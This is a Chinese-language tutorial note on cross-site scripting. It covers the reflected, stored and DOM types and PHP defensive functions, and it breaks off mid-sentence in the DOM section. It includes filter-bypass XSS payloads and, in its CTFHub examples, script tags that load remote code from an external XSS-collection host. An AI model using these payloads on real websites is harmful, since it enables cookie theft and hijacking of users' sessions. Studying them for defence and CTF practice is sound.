#XSS跨站脚本注入攻击

跨站脚本(Cross-site Scripting )攻击,攻击者通过网站注入点注入客户端可执行解析的payload(脚本代码),当用户访问网页时,恶意payload自动加载并执行,以达到攻击者目的(窃取cookie、恶意传播、钓鱼欺骗等)。
为了避免与HTML语言中的CSS相混淆,通常称它为”XSS”。

XSS分为:存储型 、反射型 、DOM型XSS

###反射性XSS

非持久化,仅执行一次,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
攻击流程:攻击者->发现存在反射性XSS->根据输出点环境构造xss代码->进行代码缩短(可有可无,仅为了增加迷惑性)->发送给受害者->受害者点开链接,xss代码执行完成攻击者代码工具。

1
<h1>hello,输入后会变成一级标题

1
2
3
4
5
6
7
8
9
10
11
12
13
14


<script>alert(1)</script>
过滤<script>,换为空
<sc<script>ript>alert(1)</script>
换完之后为<script>alert(1)</script>
匹配大小写
<Script>alert(1)</script>
对标签<script>进行过滤,可以用其他标签
<img src=1 onerror =alert(1)/>
防御:
html转换字符
$name=ntmlspecialchars($name)

ctfhub

1
<sCRiPt sRC=//0x.ax/J5ddFe></sCrIpT>

存储型XSS

特点:持久型

主要存在以攻击者将额恶意脚本存储到服务器的数据库中,当用户访问包含恶意相关数据的页面时,服务端未经严个过滤处理而输出在用户的浏览器中,导致浏览器执行代码数据

多见于评论留言框处

服务器将它存储于数据库中,每次访问都会进行弹窗,没次都是从数据库里查询这条语句,并且显示出来,

影响范围广,每个人访问这个网站都会从数据库提取信息

防御:

trim(string[, charlist]):
函数移除字符串两侧的空白字符或预定义字符( \t. \n.\xOB、\r)stripslashes(string) :
移除字符串中的反斜杠
mysqli_real_escape_string(connection, string) :
对字符串中sql的特殊符号(ixoo , \n , lr , ,,”, x1a )进行转义
strip_tags(string, allow)函数剥去字符串中的HTML、XML以及 PHP的标签;
addslashes(string)返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串;还有最后一道htmlspecialchars()函数,让你不得翻身。

1
</tExtArEa>'"><sCRiPt sRC=https://0x.ax/J5ddFe></sCrIpT>

DOM型XSS

特点:通过JavaScript操作document,实现dom数的重构

主要存在与用户能修页面的dom,造成客户端playload在浏览器中运行

关键代码

现在第一个框提交’;